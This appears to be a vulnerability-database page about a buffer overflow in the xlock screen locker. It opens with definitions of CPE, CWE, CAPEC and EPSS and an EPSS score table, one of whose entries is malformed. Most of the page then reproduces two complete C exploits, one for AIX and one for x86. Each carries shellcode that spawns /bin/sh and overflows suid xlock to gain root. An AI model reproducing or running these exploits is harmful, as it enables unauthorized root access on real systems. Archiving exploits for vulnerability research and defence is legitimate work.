CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
0.89%
–
–
2022-03-27
–
–
0.89%
–
–
2022-04-03
–
–
0.89%
–
–
2022-04-24
–
–
0.89%
–
–
2022-07-17
–
–
0.89%
–
–
2022-10-09
–
–
0.89%
–
–
2023-02-19
–
–
0.89%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
1.21%
2025-03-30
–
–
–
–
1.21%
2025-03-30
–
–
–
–
1.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/224/info
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.
*/
/*
*
* /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
*
* CREDITS: this code is simply a modified version of an exploit
* posted by Georgi Guninski (guninski@hotmail.com)
*
* USAGE:
* $ cc -o foo -g aix_xlock.c
* $ ./foo 3200
* #
*
* HINT: Try giving ranges from 3100 through 3400
* (If these ranges don't work, then run the brute
* korn shell script provided after the exploit)
*
* DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
main(int argc,char **argv,char **env)
{
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
int min=200, max=300;
unsigned int return_address;
char *newenv[8];
char *args[4];
int offset=3200;
if (argc==2) offset = atoi(argv[1]);
pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
return_address=(unsigned)&buf[0]+offset;
for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
for(i=0;i<max-1;i++) frame[i]=return_address;
frame[i]=0;
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
args[0]="xlock";
execve("/usr/bin/X11/xlock",args,newenv);
perror("Error executing execve \n");
}
/*
source: https://www.securityfocus.com/bid/224/info
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.
*/
/* x86 XLOCK overflow exploit
by cesaro@0wned.org 4/17/97
Original exploit framework - lpr exploit
Usage: make xlock-exploit
xlock-exploit <optional_offset>
Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 996
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
int main(int argc, char *argv[])
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int dfltOFFSET = DEFAULT_OFFSET;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
if (argc > 1)
dfltOFFSET = atoi(argv[1]);
else printf("You can specify another offset as a parameter if you
need...\n");
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + dfltOFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}